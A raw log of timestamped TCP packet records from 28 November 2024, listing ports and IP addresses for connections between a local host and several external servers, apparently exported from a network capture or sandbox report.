Nov 28, 2024 06:48:37.350354910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.350399971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.350457907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.350470066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.350509882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.350600004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.350650072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.351231098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.351279974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.351290941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.351303101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.351339102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.351365089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.351502895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.351569891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.352081060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.352142096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.352143049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.352159023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.352184057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.352196932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.352292061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.352330923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.352956057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.353008986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.353025913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.353038073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.353061914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.353089094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.353213072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.353262901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.353813887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.353871107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.353872061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.353885889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.353910923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.353929043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.354012966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.354068041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.354665995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.354742050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.354753017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.354753971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.354779959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.354796886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.354851961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.355056047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.359934092 CET	443	49812	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.360033035 CET	443	49812	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.360202074 CET	49812	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.360433102 CET	49812	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.360441923 CET	443	49812	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.360449076 CET	49812	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.360454082 CET	443	49812	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.361732960 CET	443	49827	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.361803055 CET	443	49827	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.361854076 CET	49827	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.362080097 CET	49827	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.362086058 CET	443	49827	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.364192963 CET	49833	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.364218950 CET	443	49828	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.364221096 CET	443	49833	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.364274979 CET	443	49828	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.364291906 CET	49833	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.364315033 CET	49828	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.365102053 CET	49833	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.365118027 CET	443	49833	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.365314960 CET	49828	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.365319967 CET	443	49828	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.365354061 CET	49828	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.365356922 CET	443	49828	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.367252111 CET	49834	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.367271900 CET	443	49834	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.367521048 CET	49834	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.367641926 CET	49834	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.367650986 CET	443	49834	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.373018026 CET	49835	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.373032093 CET	443	49835	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.373105049 CET	49835	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.373246908 CET	49835	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.373259068 CET	443	49835	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.388230085 CET	443	49826	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.388308048 CET	443	49826	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.388407946 CET	49826	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.388660908 CET	49826	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.388660908 CET	49826	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.388670921 CET	443	49826	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.388674974 CET	443	49826	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.390882969 CET	49836	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.390904903 CET	443	49836	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.390978098 CET	49836	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.391084909 CET	49836	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:37.391096115 CET	443	49836	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:37.410228968 CET	443	49830	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:37.413216114 CET	443	49830	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:37.413325071 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:37.413763046 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:37.413769007 CET	443	49830	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:37.423403025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.423482895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.423496008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.423543930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.423587084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.423608065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.423662901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.423752069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.423794031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.423829079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.423841000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.423868895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.423882008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.424372911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.424417019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.424448013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.424459934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.424504995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.424540997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.424582005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.425208092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.425270081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.425281048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.425293922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.425307989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.425421000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.425476074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.426069975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.426127911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.426153898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.426166058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.426203012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.426268101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.426306009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.426928043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.426994085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.427006006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.427046061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.427120924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.427284956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.427810907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.427856922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.427862883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.427870035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.427896023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.427913904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.427988052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.428034067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.428648949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.428692102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.428699017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.428709984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.428745985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.428831100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.428874969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.429518938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.429564953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.429584026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.429647923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.429672956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.429685116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.507096052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.507169962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.507174969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.507215977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.601337910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.725286961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.880835056 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.880855083 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.880887985 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.880937099 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.880960941 CET	49829	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:37.880985022 CET	49829	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:37.881503105 CET	49829	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:37.881503105 CET	49829	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:37.881516933 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.881525993 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.970118999 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:37.970145941 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.970290899 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:37.970807076 CET	49837	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:37.970822096 CET	443	49837	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:38.054667950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.054744959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.054759026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.054774046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.054799080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.054881096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.054905891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.054987907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.055027962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.055109978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.055124998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.055131912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.055146933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.055237055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.055258036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.055330038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.055896044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.055974960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.055989027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.056041956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.056080103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.056082964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.056130886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.175789118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.175839901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.175852060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.175879955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.175946951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.175971985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.176101923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.176116943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.176191092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.176203012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.176295042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.176322937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.176625967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.176986933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.177058935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.177069902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.177087069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.177180052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.177203894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.177361965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.177856922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.177922964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.177923918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.177936077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.177959919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.177999020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.178051949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.178170919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.178704977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.178756952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.178767920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.178771019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.178828001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.178893089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.179017067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.179591894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.179662943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.179673910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.179687977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.179771900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.300014019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.300103903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.300117016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.300122023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.300146103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.300152063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.300174952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.300306082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.300663948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.300733089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.300744057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.300756931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.300869942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.300893068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.301022053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.301229000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.301290989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.301302910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.301373005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.301373005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.301434040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.301587105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.302087069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.302165985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.302170038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.302264929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.302448988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.302505970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.302521944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.302525997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.302550077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.302591085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.302627087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.302702904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.303325891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.303414106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.303426027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.303524017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.303546906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.303879023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.304136992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.304223061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.304234982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.304337025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.304359913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.305025101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.305116892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.305130005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.305136919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.305179119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.305179119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.305217028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.305310965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.305875063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.305954933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.305967093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.306027889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.306027889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.306090117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.306255102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.306744099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.306811094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.306823015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.306840897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.306971073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.306998014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.307061911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.307621002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.307693005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.307706118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.307796955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.307796955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.307837009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.307952881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.308500051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.308572054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.308583021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.308729887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.351735115 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:38.352035999 CET	49831	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:38.352051020 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:38.352547884 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:38.352983952 CET	49831	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:38.353055000 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:38.353352070 CET	49831	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:38.395339966 CET	443	49831	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:38.400963068 CET	49831	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:38.424371004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.424438000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.424463987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.424467087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.424488068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.424532890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.424597025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.424756050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:38.424782991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:38.424803972 CET	80	49750	185.215.113.206	192.168.2.5
